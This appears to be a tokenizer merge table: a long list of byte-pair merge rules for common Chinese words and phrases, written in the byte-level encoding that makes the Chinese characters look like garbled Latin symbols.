+æļ ® +åįķ èģĮä¸ļ +è¾¹ å¢ĥ +æĹ¥ çħ§ +ä¸Ģ åłĨ +缴 å¾Ħ +åħ±åIJĮ ä½ĵ +æĸ°åįİ ç½ij +æīĵ 好 +ç͵åĬ¨ 汽车 +ä¸į æĺİçϽ +éĢĻ è£¡ +缼 大 +çİĭ æľĿ +åĨį ä¸Ģ次 +åĬŀåħ¬ åİħ +è´¨ æĬ¼ +åIJĪ åĩ» +人们 对 +鼶 é£Ł +éĥ½ä¸į çŁ¥éģĵ +çļĦ è¯Ńè¨Ģ +åĭŁéĽĨ èµĦéĩij +åĬ¨ èĦī +å½ ¤ +è¿Ļ åĩłå¹´ +çŁŃ è§Ĩé¢ij +太 é«ĺ +常 å§Ķä¼ļ +åĬł çıŃ +éĩį å¿ĥ +åªĴä½ĵ æĬ¥éģĵ +没 æ³ķ +éĹ» åIJį +çĥŃ åº¦ +å¹¿æ³Ľ çļĦ +åħŃ å¤§ +çī© ä½ĵ +ä¸į 该 +é¢ĺ 主 +精彩 çļĦ +为 è¿Ľä¸ĢæŃ¥ +èĻ ŀ +åĽº çĦ¶ +è´µå·ŀ çľģ +çºł ç»ĵ +代çIJĨ 人 +æ³ķå®ļ 代表 +åı¦ä¸Ģ ç§į +ä¸į åIJ« +æĭ¯ æķij +ä¼ļ ç»Ļ +è¯Ĺ è¯į +åIJĮ ç±» +å¾Ĺ ä¸įåΰ +æĬĵ ç´§ +以 åħ¶ +åħ¥ åħļ +è¿ĺ åı¯ +æľŁ åĪĬ +å¾Īå¤ļ æĹ¶åĢĻ +æĹ¥ åIJİ +åħ¬ 约 +ä¸Ģ 举 +æ¯Ķè¾ĥ å¤ļ +éĩij æ²Ļ +æį ŀ +æİĴ åĩº +æŃ¦ æľ¯ +ä¸į æĸ· +ä¸Ń èĢĥ +ä¿¡ èµĸ +ä»İä¸ļ 人åijĺ +çģ« çĦ° +éĨĴ æĿ¥ +ä½İ 温 +é̾ æľŁ +åĬ± å¿Ĺ +éħ ¥ +åı¯è°ĵ æĺ¯ +è¿Ļ æĦıåij³çĿĢ +é¢ł è¦Ĩ +åĮĹ京 大åѦ +ä¸ĵ 线 +åıĬ 以ä¸Ĭ +è¨ ª +èĢĮ åIJİ +çŁ¥ ä¹İ +ä¸Ģ对 ä¸Ģ +å¨ĥ å¨ĥ +çģ¾ éļ¾ +åħ¨ å±Ģ +æīĢå¾Ĺ ç¨İ +å®ŀ æĥł +èļĤ èļģ +ä¹Ł çŁ¥éģĵ +温 åĴĮ +èIJ½ ä¸ĭ +åŀĭ ä¼ģä¸ļ +åĨį ä¹Ł +ä¾Ľ çĥŃ +é«ĺ æ½® +çĢı覽 åύ +çļĦ 巨大 +åħΠ天 +å¹´ ä¸ŃåĽ½ +类似 çļĦ +çIJĨäºĭ ä¼ļ +空 éĸĵ +çģµ æĦŁ +åĬĽ æ°Ķ +带 ä¸Ĭ +ä¸į好 æĦıæĢĿ +æľī ä½ķ +å·² åľ¨ +åıĸ åĩº +è¿Ŀæ³ķ çĬ¯ç½ª +åŃ¦ä¹ł 贯彻 +åľ° 带 +楼 梯 +çŃī æĥħåĨµ +ä»İ åīį +çļĦ ä¹łæĥ¯ +ç³Ł ç³ķ +å°± èĥ½å¤Ł +è© ķ +ä¸Ģ å¾ĭ +æĮ« æĬĺ +åİŁæĸĩ åľ°åĿĢ +å½ĵ å±Ģ +ä¸į éĢļ +æķ° åįĥ +éĺŁä¼į 建设 +æĹ¶ èĬĤ +åģļ èµ· +çļĦ è®°å¿Ĩ +ç½ij绾 å®īåħ¨ +åĩ¡ æĺ¯ +æ° ¯ +éĽķ åĪ» +åŁĥ åıĬ +æĪij åı¯ä»¥ +çĽij çIJĨ +æĽ´ åħ· +åŁİ 管 +èĭ ¯ +åı¥ åŃIJ +èĭ¥ æľī +ä»İæĿ¥ ä¸į +缸åħ³ è´Łè´£ +å®īåħ¨ æĦŁ +æĽ´ è¦ģ +çļĦæĥħ æĦŁ +çī¢ çī¢ +è¾ĥ 好çļĦ +æ° ® +ç¬ij è¯Ŀ +车 å±ķ +ä¹ĭ ç¾İ +ç®Ģ 约 +ç±»åŀĭ çļĦ +èĢģ åĮĸ +çľĭ ä½ł +è¿ĩ åĪĨ +éŨ åīį +ä¸Ģ éĹ´ +æĥ³ åİ» +åª Ľ +åľŁ è±Ĩ +åıĪ ç§° +ä¸Ń ä¿¡ +åŃĺ éĩı +马 äºij +èĩ´ 使 +åħĪ åīį +èĢģ åŃIJ +æīĵ æī® +æ¯ķä¸ļ äºİ +æ¯ķä¸ļ åIJİ +ç¾İ好 çĶŁæ´» +å·¥ä¸ļ ä¼ģä¸ļ +就好 äºĨ +èħIJ èļĢ +çıį çıł +åΰ è¿ĻéĩĮ +æīĢéľĢ çļĦ +è¿Ļæĺ¯ åĽłä¸º +çIJĨæĥ³ çļĦ +å·®å¼Ĥ åĮĸ +é ® +é® ® +äºļ 太 +æĹł ç©· +æıIJ çݰ +ä¸ĵä¸ļ æĬĢæľ¯ +çĶ¢ æ¥Ń +åѦ åŃIJ +ç§ij å¹» +åįłåľ° éĿ¢ç§¯ +ä¸į åĩĨ +æľªæĪIJ 年人 +æĶ¶ å½ķ +è¿ĺ 款 +éĴ¢ çŃĭ +æ¼ ¢ +å¾Ĺ æĦı +综åIJĪ ä½ĵ +æŀģ é«ĺ +åįķ è¯į +é«ĺæķĪ çļĦ +骨 头 +æī§ çĿĢ +缼 ä¸ĸ +模 çī¹ +æĽ´ èĥ½ +ç»Ŀ æľĽ +对åºĶ çļĦ +æ¨ Ĭ +æĸ° ä¸ī +æĸ°ä¸ī æĿ¿ +æģ° æģ° +åIJį å®¶ +æł¸å¿ĥ æĬĢæľ¯ +个 å°ı +æĢİä¹Ī ä¼ļ +说 ä¸įå®ļ +西 çĵľ +åĵ İ +ç¢ Ł +å¿ħ ä¸įåı¯ +å¿ħä¸įåı¯ å°ij +ä¹ĭ éĸĵ +åĪĨ 管 +交éĢļ äºĭæķħ +å¼Ģ åĬŀ +å¾ģæ±Ĥ æĦıè§ģ +äº ¨ +鼻åŃIJ éĥµ +鼻åŃIJéĥµ ä»¶ +ä¿¡æģ¯ æľįåĬ¡ +ä½ł è§īå¾Ĺ +缴 è§Ĥ +å·² å®ĮæĪIJ +åĪĨ ä¼ļ +åĽŀ åįĩ +éļ » +好 人 +äºĨè§£ ä¸Ģä¸ĭ +åį« æµ´ +æľĢ çα +åºŀ 大 +客 æĪ¿ +çijŀ åħ¸ +éĥ½ ä¸įæĺ¯ +é¤ ¨ +èĹ ī +çļĦ åIJĦ项 +为 缮æłĩ +çļĦ è®¤çŁ¥ +å½±åĵįåĬĽ çļĦ +夸 å¼ł +佩 æĪ´ +æ±ĩ çİĩ +çļĦ çαæĥħ +æĺ¥ é£İ +æĺ¯ æĪijçļĦ +æ¨ ¹ +åįĬ å°ıæĹ¶ +å±± åİ¿ +å±± 西çľģ +èĢĮ è¿Ļ +æĽ´å¤ļ ä¿¡æģ¯ +è¿ĺ æľīä¸ĢäºĽ +ç²¾ ç»ĨåĮĸ +ç¾İ åѦ +çͱ æĸ¼ +ä»ħä¾Ľ åıĤèĢĥ +å¾Ī é«ĺçļĦ +åıł åĬł +è¿Ļä¹Ī 说 +å±ķ åĩº +åĽĽ å¤Ħ +ä¸ĩ å®¶ +æĭĽ åĭŁ +çļĦ 强大 +æĤ£ æľī +å°ı äºİ +ä¹Łè®¸ æĺ¯ +对 èĩªå·±çļĦ +èģĮä¸ļ æķĻèĤ² +æĿ¥ è¿Ľè¡Į +æ¡£ 次 +æīĵ èµ¢ +éĥ½æľī çĿĢ +åº ¸ +è¯Ń æ°Ķ +çͲ éĨĽ +空 åĨĽ +车 åĨħ +åĽłä¸º ä½ł +å®ŀ æķĪ +æĥħ ä¾£ +åıijè¾¾ åĽ½å®¶ +éķľ åŃIJ +æ¯į å©´ +ä½Ĩæĺ¯ ä»ĸ +积æŀģ æİ¨è¿Ľ +大å¹ħ 度 +çļĦ 女åĦ¿ +é¤IJ æ¡Į +åIJ¬ å¾Ĺ +çļĦ 积æŀģæĢ§ +好 åIJ§ +æĹ¥ æ¶Īæģ¯ +æľī ä»»ä½ķ +æ¯Ĵ åĵģ +æĹ©çĤ¹ åĬłçĽŁ +第ä¸Ģ 天 +å°½ åĬĽ +æł ĸ +主 æīĵ +æĺ¯ä¸Ģ åIJį +çĪĨ æĸĻ +äºĭä¸ļ åıijå±ķ +å¾® åķĨ +äºİä¸Ģä½ĵ çļĦ +çĶŁ çĮª +èĩªçĦ¶ èµĦæºIJ +çŀĦ åĩĨ +è§Ħ模 åĮĸ +å¹¶ ä¸İ +èĤ¥ èĥĸ +å®¶ ç͍ +大 çĪ· +é¢Ħ åijĬ +æĿ¥ åģļ +éĺ³ åİ¿ +æŀĦ çŃij +é¢ģ å¥ĸ +åİĨåı² æĸĩåĮĸ +æľįåĭĻ æĪĸ +æĢ» åĨ³èµĽ +åıij åŀĭ +æĪij 羣çļĦ +æĽ ¦ +åıĤ ä¼ļ +èĦĨ å¼± +åĩĨ åħ¥ +èħ¹ éĥ¨ +åı¸ 令 +æĤ² åī§ +天 ä¸Ĭ +åı£ ä¸Ń +ä¸ĩ 个 +åѦ ä¸ļ +æıIJ åĢ¡ +两 è¾¹ +大 èĤ¡ä¸ľ +åı¤ éķĩ +è¡Ģ ç³ĸ +çļĦ ç¨ĭ度 +æ£ī èĬ± +åIJİ åı° +å°± åĮ» +æķ´ æķ´ +èĴ ² +çĽĪåĪ© èĥ½åĬĽ +ç± ½ +èĦ « +çľĭ éĩį +å®¶ éķ· +èģĺ ç͍ +èµĽ éģĵ +åīį èĢħ +建 èѰ +å¾ĭå¸Ī äºĭåĬ¡ +èīºæľ¯ åĵģ +æľī èĩªå·±çļĦ +åIJ¦ å®ļ +社 åĽ¢ +åij¨ äºĶ +带 åΰ +å·¥ä½ľ ä¼ļè®® +èĤ¡ æľ¬ +å¤ĸ åĮħ +å®¶ åħ¬åı¸ +çĽij çĭ± +èĪ Ĭ +åIJį æł¡ +西 æ¹ĸ +è¶ħè¿ĩ äºĨ +åįĹ å±± +ç»Ħ ä»¶ +å̼å¾Ĺ 注æĦı +æĮ£ æīİ +äºĭ 迹 +ç¶ĵ çĩŁ +ç§ij 室 +好 åIJĹ +æ¤ħ åŃIJ +åľĪ åŃIJ +ä½Ĩ 她 +æµģ çķħ +åIJĦèĩª çļĦ +èģĮ åijĺ +è¡į çĶŁ +åħ¨ åľº +æĴ¤ éĶĢ +åį´ è¢« +å®ģ éĿĻ +åīį æīĢ +åīįæīĢ æľª +åīįæīĢæľª æľī +主 ä¸ļ +åĮĹ ç¾İ +è¯Ħ å®ļ +åĵģ å°Ŀ +大家 éĥ½åľ¨ +主 å¸ħ +ç»Ĩ å¿ĥ +ä¿¡æģ¯ æĬ«éľ² +çļĦ ç«ŀäºī +éĢĻæ¨£ çļĦ +ç§ijåĪĽ æĿ¿ +éĩĩ æijĺ +票 æį® +éĢIJ å¹´ +èĭ± è¶ħ +è¡Įä¸ļ åĨħ +人 寿 +åIJİ åĭ¤ +å¦Ĥ æĦı +ç¬Ķ è¯ķ +æ·¡æ·¡ çļĦ +ä¸į èĪĴæľį +ä½ĵ 积 +ä¹Łä¸į è¦ģ +éĿ¢ æĸĻ +æł· æľ¬ +ç¥ ģ +æĮī è§Ħå®ļ +大æ¦Ĥ æĺ¯ +æĥħåĨµ è¿Ľè¡Į +åIJĦ åįķä½į +çļĦ ç¬ij容 +åĩºèī² çļĦ +代表 æĢ§ +çļĦ ç¾İ好 +éĴ ¦ +å¾® çĶŁçī© +è¶Ĭ æĺ¯ +æĸ¹ åı¯ +å¹² èĦĨ +éģĬ æĪ² +çļĦ åħ´è¶£ +éĹ® è´£ +åĽłä¸º æĪij们 +èĢĥ éĩı +çĶŁ çĶŁ +éĺ» åĬĽ +ä¸į åħģ许 +æıIJ è®® +åĩı æĮģ +åıªæĺ¯ ä¸Ģ个 +æĪij æĬĬ +åıijçݰ èĩªå·± +å¢ŀ å¹ħ +å¦ į +èĹĿ è¡ĵ +ä¸Ģå®¶ 人 +åĪĨ 级 +çļĦ æķ°éĩı +è½® èŀįèµĦ +çŃī åĽłç´ł +大 夫 +èģĺ 请 +é£İ æľº +绽 æĶ¾ +ä»»ä½ķ ä¸Ģ个 +éł Ĥ +éĺ¶ çº§ +æĬĬ 她 +è¿Ľ åĨĽ +èĥ½ åģļåΰ +åŁ¹è®Ń æľºæŀĦ +çī© æĸĻ +ç«¥ è¯Ŀ +æĮĩ导 æĦıè§ģ +éĺ ® +æ·±åħ¥ æİ¨è¿Ľ +主 æľº +æ¸Ķ ä¸ļ +ä¸į æľį +æµĵ éĥģ +è¡Ĺ ä¸Ĭ +ä¾Ŀ 次 +æĹ¶ 段 +æ¢ µ +çļĦ åĸľçα +å¾Ī éķ¿ +åĪĿ 级 +æŀľ æĸŃ +æĬ¢ æķij +é¼ĵ èĪŀ +ä¾Ľ éľĢ +æ·±åħ¥ å¼Ģå±ķ +产ä¸ļ éĽĨ群 +åĻª éŁ³ +åIJ¬ çĿĢ +æ·±åĪ» çļĦ +å¿į åıĹ +ç͵ ç£ģ +强 èĢħ +æ»ĭ åij³ +æĽ¼ èģĶ +åı¯ä»¥ 缴æİ¥ +大 ç±³ +æŃ· åı² +æĶ¿åĬ¡ æľįåĬ¡ +åħ¬ å¼ı +社 群 +éģĵ士 èģĮä¸ļ +ä¹ĭ æĥħ +æµ· æ°´ +æ¼Ķ å¥ı +åºĹ éĩĮ +迹 象 +åıijå±ķ çIJĨ念 +é«ĺ 空 +åij¨ åĪĬ +åĽŀ åΰäºĨ +ä¸į éĢĤåIJĪ +åłµ å¡ŀ +åĬ Ī +æ°´ ä¸Ĭ +çĢij å¸ĥ +纳ç¨İ 人 +çĩĥ æ²¹ +å·¥ç¨ĭ é¡¹çĽ® +峡 è°· +æľī éĴĪ对æĢ§ +åľĨ å½¢ +æľ¬ å¸Ĥ +è¿Ļ è¯Ŀ +管çIJĨ èĢħ +ç¡®è¯Ĭ çĹħä¾ĭ +æĬĬ æīĭ +彩 èī² +ä¸Ĭ åīį +夯 å®ŀ +ç¾Ĭ èĤī +å¾Ģ å¹´ +æĵħ èĩª +è¿· 人 +èĪª æ¯į +ç²¾ ç»Ĩ +åľ¨ æĪijçļĦ +åĪĽ æĬķ +麦 åħĭ +æľĪ ç»ı +åĮĹ æµ· +ä¹ĭ æĺŁ +åı¶ åŃIJ +å¸Ĥåľº ç«ŀäºī +è¿Ļ äºĭ +åıĥ èĪĩ +产 åľ° +åĶ ī +åķĨåĵģ æĪ¿ +èĪª è¿IJ +ä¼ĺ å¼Ĥ +ä»ĸ们 æĺ¯ +鼨 æ°´ +è¯į æ±ĩ +åĨľ çͰ +欧 éĺ³ +çŁŃ 线 +管 ç½ij +æł¹ åŁº +åıªæľī ä¸Ģ个 +éŀĭ åŃIJ +å¸Ĥ å§Ķ书记 +åĪ» æĦı +è¡Į 车 +åıĪ è¢« +åı¯éĿł æĢ§ +è´ ± +ä»» åij½ +åºĶ åľ¨ +å°± å¾Ĺ +æľįåĬ¡ ä½ĵç³» +æĶ¿ æĿĥ +åıijè¨Ģ 人 +è¿ĩ å¾Ģ +两 åıª +èϽ 说 +éĢģ ä¸Ĭ +ä»Ģä¹Ī äºĭ +æķ£ æĸĩ +æİĮ æİ§ +èĸĦ å¼± +ä¸ĭéĿ¢ å°± +主è¦ģ åĨħ容 +å¾Ī éĩįè¦ģçļĦ +å°± 说 +çϽèī² çļĦ +éĤ£ä¸ª æĹ¶åĢĻ +ç»ı纪 人 +çļĦ æ¯į亲 +ç¬Ķè®° æľ¬ +åºķ å±Ĥ +è¿ij 代 +è§£ 说 +è²ł 責 +æľĢ大 åĮĸ +åķĨ éĵº +æł¡ åıĭ +æ² ģ +ä¸į åĩºæĿ¥ +éĻ· éĺ± +ç¨ ħ +åħ¬å¸ĥ äºĨ +åĩĢ å̼ +çĽ¸å¯¹ è¾ĥ +ç¬ Ľ +æł¸ ç®Ĺ +åįİ ä¾¨ +æĢ¥ æķij +æĮº 好 +åħĴ ç«¥ +äºĮ èĥİ +åĩº èĩª +åĿ Ł +æīĭ ä¸ĭ +å± ¡ +åĪĽéĢł æĢ§ +ä¸¥æł¼ æĮīçħ§ +åĨį åİ» +举 缣 +人 æµģ +äºĨä¸Ģ 声 +å°ıæĹ¶ åīį +è´µ æĹı +éľ ĸ +ä¹Łæĺ¯ éĿŀ常 +éĢ ± +çľĭäºĨ çľĭ +ç¹ģ æ®ĸ +èĩ³ æŃ¤ +é¢Ħ å¤ĩ +å¾Ī æĺİæĺ¾ +æ¼Ķ èīº +åĿIJ çĿĢ +ä¿Ħ åĨĽ +åľ¨ è¿ĩåİ» +ä¹ĭ äºĭ +æĬĵ èİ· +åĿIJ ä¸ĭ +çͱ ä¸ŃåĽ½ +ä¹Ł å¼Ģå§ĭ +çŃĶ å¤į +åŀĥåľ¾ åĪĨç±» +éĴĵ é±¼ +åIJĦ 種 +缸 éģĩ +ä¸įåģľ çļĦ +æī¹ éĩı +éĩįè¦ģ ä½ľç͍ +å§Ķ å±Ī +åħŃ å¹´ +ä¸ĥ åįģ +ä¹ĭ æĪĺ +é£İéĻ© 管çIJĨ +éŁ³ æ¨Ĥ +è¡ĮæĶ¿ å¤Ħç½ļ +æľ¬ äºĭ +æĴ° åĨĻ +èģļ åIJĪ +éĢĤ æĹ¶ +æIJ¬ å®¶ +ç¢İ çīĩ +缼 å®´ +ç®Ģ æ´ģ +åı¬ éĽĨ +ç®Ģ åĮĸ +åĮĹ京 æĹ¶éĹ´ +第ä¸ī å±Ĭ +æĿ¥ åĽŀ +常ç͍ çļĦ +京 æ´¥ +京津 åĨĢ +梦 å¹» +è¯ķ è¡Į +æľº åºĬ +åΰ æľĢåIJİ +åĬ© æīĭ +åĪĨ 彩 +åĩº åĵģ +åι 车 +åIJ¯ åıij +ä¾§ éĿ¢ +æ¯ı å½ĵ +缸åħ³ è§Ħå®ļ +ä¸ĸ 人 +è´Ń 车 +å¿ĥ 缮 +å¿ĥ缮 ä¸Ń +äºĶ éĩij +è¿ĺ è®°å¾Ĺ +ä¾Ŀ çĦ¶æĺ¯ +æıIJ æ¡Ī +ç͵åķĨ å¹³åı° +åģļ åΰäºĨ +æĿľ ç»Ŀ +å®ī åįĵ +ä¸ĸçķĮ åIJĦåľ° +åīį éĢĶ +æ´Ĺ åĩĢ +å¥ĭ åĬĽ +åŁİå¸Ĥ 建设 +å¤ļ åĬŁèĥ½ +ä¼ļ éĢłæĪIJ +åıijå¸ĥ ä¼ļä¸Ĭ +ç©¶ 竣æĺ¯ +åĪĨ 红 +çŁ¥ èŃĺ +éĿ¢ æĿ¿ +æĹł 声 +æĢ¥ éľĢ +失 çľł +çΏ å¦Ī +äº Ĥ +åħ¨ æĻ¯ +ç»ıåħ¸ çļĦ +åī§ ä¸Ń +é¢Ĩ导 ä¸ĭ +åħļ åĨħ +åħ¥ ä¾µ +æĭī æĸ¯ +ä¸Ģ å¹ķ +åĬł ä¹ĭ +èĤ Ĩ +èĭ± æł¼ +èĭ±æł¼ åħ° +å·§ åħĭ +å·§åħĭ åĬĽ +ä¸Ģ å¿ĥ +èģ Ĥ +å¾Ģå¾Ģ æĺ¯ +管çIJĨ å±Ĥ +çĻ» åħ¥ +建ç«ĭ èµ· +建 åĽ½ +åŃIJ 宫 +åºĶ ä»ĺ +æİ¢ ç©¶ +第ä¸Ģ ä½į +ä½Ļ å®¶ +çŃī æ´»åĬ¨ +æīĢ èĩ´ +è¾ĥ å¿« +æĺ¯ éĿŀ +æıIJ åIJį +äºĮ èĢħ +åıªåī© ä¸ĭ +åħ¶ä¸Ń åĮħæĭ¬ +ç¼ĸ ç¨ĭ +çł´ ç¢İ +ä¸Ń 举 +å·¥ä½ľ æĬ¥åijĬ +çѾ åIJį +éħĴ ä¸ļ +çŁ¥ æĻĵ +çĥŃ å¿ĥ +éĿŀ åĩ¡ +èIJ¥ä¸ļ æī§ +èIJ¥ä¸ļæī§ çħ§ +人大 代表 +ä¸Ģ个 æĸ°çļĦ +å¨ģ æµ· +éĤ£ 人 +涨 ä»· +æ¶Ī çģŃ +éļ¾ å¿ĺ +ç¶ĵ é©Ĺ +åı£ è¢ĭ +ç³» æķ° +æĸĩ ä¸Ń +好 转 +æĸ° 鼶åĶ® +讲述 äºĨ +å¼Ģ çĽĺ +çķĻ ç»Ļ +æħ¢æħ¢ çļĦ +æĤ² 伤 +æľ¬ æľŁ +äºĨ å¤ļå°ij +è¿Ļ 让 +åIJĮ çŃī +æ¸ħ æĺİ +个 åŁİå¸Ĥ +æºĸ åĤĻ +åĩłä¹İ æĺ¯ +强 åĬĽ +ä¿ ¯ +æ°´ 稻 +åĽºå®ļ çļĦ +æł¸ åĩĨ +说 æľį +顯 示 +è¿Ļ å¥Ĺ +æĻºæħ§ åŁİå¸Ĥ +å±ĭ é¡¶ +ä¸į æĿ¥ +çĶŁ é²ľ +çŁ¥ æĥħ +æĬķ 身 +åijĬè¯ī æĪij们 +ä¸ī åĽĽ +ä¸ĩ ä¸Ģ +è¾Ĩ 车 +为 ä¹ĭ +åΰ æĹ¶åĢĻ +è¿Ļ æīįæĺ¯ +åIJį çīĮ +åºŁ æ°´ +åݻ年 åIJĮæľŁ +å¹´ éĻIJ +éģĭ åĭķ +åıĮ çľ¼ +è¦ģ ç´§ +对 çŃĸ +åľº é¦Ĩ +çϾ ç§ij +è¶Ĭ éĩİ +å¯Į åIJ« +大å¤ļæķ° 人 +æľĢ å°ij +åı¬ åͤ +åħ¸ èĮĥ +åĨľ æľº +æŃ£ æĸĩ +åºĶç͍ äºİ +æ·± èĢķ +ä¿ Ń +ä»Ģä¹Ī ä¸ľè¥¿ +å¥Ĺ é¤IJ +å½ĵ éĢī +å·¦ æīĭ +è°ĥ çIJĨ +æĻļ é¤IJ +éļ¾ åħ³ +åĩŃ è¯ģ +çα 人 +æĮĩ è´£ +è´£ ç¼ĸ +çļĦä¸Ģ 款 +éĵ ² +åįģ 个 +èĢ » +æľįåĬ¡ åķĨ +åľ° çĭ± +è¿ŀ å¿Ļ +åĽ° æĥij +çļ ĵ +ä¸į åIJĥ +çİ°åľ¨ å·²ç»ı +çĽĺ çĤ¹ +ä¸įåģľ åľ° +管çIJĨ 模å¼ı +è¿Ļ 段æĹ¶éĹ´ +æ¤ ° +礼 åĮħ +æµģ 转 +æī« çłģ +éĽĨä¸Ń åľ¨ +æ±Ĥ åĬ© +åįĬ 个 +å¿«éĢŁ å¢ŀéķ¿ +å¾Ģ ä¸ĭ +è¯Ħ åĪĨ +å°± æĥ³ +åķĨåĬ¡ éĥ¨ +æľī éĹ®é¢ĺ +èİ· åĪ© +æ¯Ľ çĹħ +æĦŁ åºĶ +èī¯ æĢ§ +åĪĨ æŃ§ +åĨ ī +æĪij们 çİ°åľ¨ +è¦ģ åĬłå¼º +å·§ å¦Ļ +èŀº æĹĭ +åĪĩ æį¢ +çĭ Ħ +顺 çķħ +å°¤åħ¶ æĺ¯åľ¨ +èĬĿ 麻 +éļ¾ è¿ĩ +æĹĹ å¸ľ +å¤į åį° +å¤įåį° ä»¶ +å¿ħ éľĢ +对å¤ĸ å¼ĢæĶ¾ +éļ¾ åıĹ +åİŁæĿ¥ æĺ¯ +ç®Ĺ äºĨ +é«ĺ å±± +离 èģĮ +çµĦ ç¹ +çµĦç¹ Ķ +å±ģ èĤ¡ +çϾ å®¶ +éģĩ ä¸Ĭ +æĺĶ æĹ¥ +ä¸į 容 +çĽij管 éĥ¨éŨ +主 æĦı +æµģ åŁŁ +è·Į å¹ħ +èĩ³ ä¸Ĭ +åĪ« 说 +æĺ¯ æ¯Ķè¾ĥ +å®ıè§Ĥ ç»ıæµİ +å¸Ĥåľº 主ä½ĵ +污æŁĵ çī© +æķij æ²» +丰 æĶ¶ +åŃĺ æĶ¾ +åĩ Ħ +éĩij å±± +æį¢ äºĨ +ä¸ĵ 人 +éĹľ æĸ¼ +æĹ¢ è¦ģ +åĽ½ è¶³ +éļ ĭ +åıį åĩ» +èµ· 身 +åħĪ æĺ¯ +å¸ĮæľĽ èĥ½å¤Ł +åζ 订 +åºĹ éĿ¢ +åĸ Ģ +æķĻ ä½ł +éĻį æ¸© +åĬĽ æ±Ĥ +ä¸ī çϾ +çī© ä»· +丢 失 +å¢Ļ ä¸Ĭ +éĥ¨ 份 +æł· æĿ¿ +ä¹ĭ æĦı +ç½ij å°ıç¼ĸ +ä¸ĸ ä¸Ĭ +è°ĥ è¯ķ +污æŁĵ éĺ²æ²» +å½± éĻ¢ +å®Įåħ¨ åı¯ä»¥ +éĢļ åħ³ +ä¹īåĬ¡ æķĻèĤ² +没æľī åĬŀæ³ķ +èĢ ¿ +å¦ ³ +æĹł æĥħ +å¾Ĺ çĽĬ +å¾ĹçĽĬ äºİ +æľŁ çĽ¼ +娱ä¹IJ åľº +çͲ æĸ¹ +ä¸Ģ æ±½ +çĹ ° +çĸij ä¼¼ +æĸ°æµª å¾®åįļ +强 è¡Į +å½ĵ ä»ĸ +èĥ º +ç͍æĪ· æıIJä¾Ľ +åĮº å§Ķ +æĦ¿ æĻ¯ +æĬĺ æī£ +失 踪 +è¿« åĪĩ +åŃĹ æ¯į +åĴ ¯ +èªį èŃĺ +ä»Ģä¹Ī æĦıæĢĿ +çĽĴ åŃIJ +å½ķ éŁ³ +建设 å·¥ç¨ĭ +ä¸ļ ä½Ļ +å®ŀè·µ æ´»åĬ¨ +羣 空 +çĤ ĸ +åľ¨ è·¯ä¸Ĭ +主è¦ģ åĮħæĭ¬ +该 æĢİä¹Ī +æĢ» æľī +æĢ§ æĦŁ +æ°ij èĪª +å¼Ģ åºĹ +欺 éªĹ +çªģ åĩ» +缺 失 +æī§ ä¸ļ +åľ° éģĵ +å¹¶ æĹł +æ°ij åĬŀ +ç»Ħç»ĩ çĶŁæ´» +æĪij å¦Ī +è¨ĺ èĢħ +管 åζ +æī¾ 个 +èĹ » +çĤİ çĹĩ +äºĴ åĬ© +æµıè§Ī åύ +çݩ家 æĿ¥è¯´ +éĻįä½İ äºĨ +è£ Ķ +æĮ£ éĴ± +åķĨ æľº +æĶ¹ è£ħ +æµģ 浪 +æĶ¿ æ³ķ +èĢģ 头 +çĶŁäº§ åĴĮ +ç© Ĺ +亲 çα +亲çα çļĦ +å±¥ èģĮ +åŁİ éĩĮ +ç»Ĩ åĪĨ +åĬ³åĬ¨ åIJĪåIJĮ +åľ¨ æĹ¥æľ¬ +å¨ģ å°Ķ +åį« è§Ĩ +éĢ£ çµIJ +çĿĢ éĩį +æĬĺ 磨 +åĽ¾ 为 +çľ · +å·¥ åºı +æĵ ģ +æĵģ æľī +ç½ijç«Ļ åľ°åĽ¾ +çļĦä¸Ģ 大 +ç»Ħç»ĩ å®ŀæĸ½ +æĬĽ å¼ĥ +åĴĮ æĶ¯æĮģ +æ³ķ åĪĻ +浪 æ½® +çݰ æľīçļĦ +åĩł çİĩ +为 客æĪ· +åįģ ä¸ĩ +è ¹Ħ +çªģåĩº éĹ®é¢ĺ +åıĥ åĬł +éĥ½ä¼ļ æľī +çĽ ¤ +è°ģ éĥ½ +æīĭ åĬ¨ +缴 è¾¾ +çĤ¹ å¤ļ +éĺ¶ å±Ĥ +ä¸į ä½³ +éĤ£ 段 +滨 æµ· +æĺ¯ åĽ½åĨħ +æĪij å¸ĮæľĽ +åIJĽ åŃIJ +è§Ĥ éŁ³ +åģļ é¥Ń +æ±½ è»Ĭ +åħ³ ç¨İ +çľ¼åīį çļĦ +æ°´ éĿ¢ +è̳ æľº +追 踪 +æİ¨ éĢģ +éĴ± åĮħ +æģ¶ å¿ĥ +æµ· åŁŁ +å· į +å¼Ģ æĿ¥ +表 æĢģ +仪 表 +å¹³ åİŁ +åįģ å¤ļå¹´ +ä¹Ł æĹłæ³ķ +åħ¼ 顾 +è¡£ æŁľ +æł½ åŁ¹ +æĪ¿ æºIJ +设ç«ĭ äºĨ +ä¸ĩ åIJį +æķ° é¢Ŀ +è¦ģ åĿļæĮģ +åIJīæŀĹ çľģ +请 èģĶç³» +ç»ıåİĨ è¿ĩ +çļĦ æľ¬è´¨ +åħ¥ éŨ +æľ¬ æ¡Ī +çİĩ è¾¾åΰ +åı° éĺ¶ +éĴ ŀ +æĪij èĥ½ +èݲ èĬ± +éĴ ł +ä¸Ģ äºĭ +åİŁ æľīçļĦ +æ¯ı åĢĭ +æ¯Ķäºļ 迪 +æ£ĭçīĮ 游æĪı +ä¸įä¼ļ æľī +å½Ĵ æĿ¥ +äºĶ çϾ +è¿ĩ é«ĺ +鼷 è¾¾ +ä¸Ģèµ· åİ» +æķĻ å¯¼ +å°± è¯Ĭ +å°± å¾Ī +ä¸įåIJĮ äºİ +ä¿ º +å¸ĸ åŃIJ +æĶ¿åįı å§Ķåijĺ +çĸ«æĥħ å½±åĵį +åĪĨ è£Ĥ +为ä»Ģä¹Ī ä¼ļ +äºĶ æĺŁ +å°ij åĦ¿ +æĬ¢ éĻ© +梦 è§ģ +è®°èĢħ éĩĩ访 +å±± è·¯ +æĪij 个人 +æ²Ļ 滩 +è¹ Ń +æĶ¹ è®Ĭ +æĸ°åŀĭ åĨł +æĸ°åŀĭåĨł çĬ¶ +åĮ» æĬ¤ +åĮ»æĬ¤ 人åijĺ +æµ· å°Ķ +åħ³äºİ æĪij们 +éϤ å¤ĸ +åº ļ +宣 åijĬ +ä¸ī åįĥ +æ¦ ¨ +ç§ijæĬĢ å¤§åѦ +ä¸ĥ åħ« +顺 åºĶ +çΏçΏ å¦Īå¦Ī +éĢī åıĸ +åī§ çĥĪ +乡æĿij æĹħ游 +积æŀģ æİ¢ç´¢ 